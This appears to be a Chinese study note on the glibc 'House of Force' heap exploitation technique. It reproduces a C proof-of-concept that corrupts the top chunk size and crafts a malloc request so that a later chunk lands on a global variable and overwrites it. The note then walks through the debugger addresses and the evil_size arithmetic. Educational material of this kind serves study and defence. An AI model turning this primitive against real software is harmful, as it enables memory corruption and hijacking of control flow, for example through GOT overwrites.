源代码
1 /* 2 3 This PoC works also with ASLR enabled. 4 It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled. 5 If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum 6 ( http://phrack.org/issues/66/10.html ) 7 8 Tested in Ubuntu 14.04, 64bit. 9 10 */ 11 12 13 #include <stdio.h> 14 #include <stdint.h> 15 #include <stdlib.h> 16 #include <string.h> 17 #include <stdint.h> 18 #include <malloc.h> 19 20 char bss_var[] = "This is a string that we want to overwrite."; 21 22 int main(int argc , char* argv[]) 23 { 24 fprintf(stderr, "\nWelcome to the House of Force\n\n"); 25 fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n"); 26 fprintf(stderr, "The top chunk is a special chunk. Is the last in memory " 27 "and is the chunk that will be resized when malloc asks for more space from the os.\n"); 28 29 fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var); 30 fprintf(stderr, "Its current value is: %s\n", bss_var); 31 32 33 34 fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n"); 35 intptr_t *p1 = malloc(256); 36 fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - sizeof(long)*2); 37 38 fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n"); 39 int real_size = malloc_usable_size(p1); 40 fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2); 41 42 fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n"); 43 44 //----- VULNERABILITY ---- 45 intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long)); 46 fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top); 47 48 fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n"); 49 fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long)))); 50 *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1; 51 fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long)))); 52 //------------------------ 53 54 fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n" 55 "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n" 56 "overflow) and will then be able to allocate a chunk right over the desired region.\n"); 57 58 /* 59 * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): 60 * new_top = old_top + nb 61 * nb = new_top - old_top 62 * req + 2sizeof(long) = new_top - old_top 63 * req = new_top - old_top - 2sizeof(long) 64 * req = dest - 2sizeof(long) - old_top - 2sizeof(long) 65 * req = dest - old_top - 4*sizeof(long) 66 */ 67 unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top; 68 fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n" 69 "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); 70 void *new_ptr = malloc(evil_size); 71 fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2); 72 73 void* ctr_chunk = malloc(100); 74 fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n"); 75 fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk); 76 fprintf(stderr, "Now, we can finally overwrite that value:\n"); 77 78 fprintf(stderr, "... old string: %s\n", bss_var); 79 fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n"); 80 strcpy(ctr_chunk, "YEAH!!!"); 81 fprintf(stderr, "... new string: %s\n", bss_var); 82 83 84 // some further discussion: 85 //fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n"); 86 //fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size " 87 // "and we \nwant to set this result to the address of malloc_got_address-8\n\n"); 88 //fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n"); 89 //fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n"); 90 //fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header )," 91 // "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n"); 92 93 //fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2); 94 //fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address); 95 96 //fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n"); 97 }
运行结果
首先申请一个字符串的空间bss_var
由于是全局变量,存放在bss段
再申请一个256字节的堆p1
此时有2个堆,刚申请的p1,和剩下的top chunk
可以看到此时top chunk的size为0x20ef0
然后我们将其修改为-1
-1以补码形式0xffffffffffffffff存在在内存中
此时再malloc申请内存,由于top chunk大小不够,会从top chunk起始地址处开始向高地址扩展
在调试中,old top chunk起始地址为0x603110,大小为0xffffffffffffffff
bss_adr 地址为0x602060
要申请一个evil_size大小的堆,使top chunk扩展到0x602050处,再加上0x10头部
0x602060开始即为数据部分,从而可以覆盖0x602060开始的bss_adr
top_chunk_adr+0x10+evil_size=bss_adr-0x10
0x603110+0x10+evil_size=0x602060-0x10
evil_size=0x602060-0x603110-0x20
由于64位系统地址以8字节运算
所以evil_size=0xffffffffffffef30
可以看到此时evil_size的确为0xffffffffffffef30
申请完后有了3个堆
第一个为p1,第二个为刚申请的evil_size大小的堆
top_chunk扩展到了0x602050处
此时再申请堆,即被分配到0x602050处
此时我们再申请一个100字节的堆
被字节对齐为0x71大小,此堆便覆盖了0x602060处的字符串
往这个堆输入内容即可覆盖原本字符串内容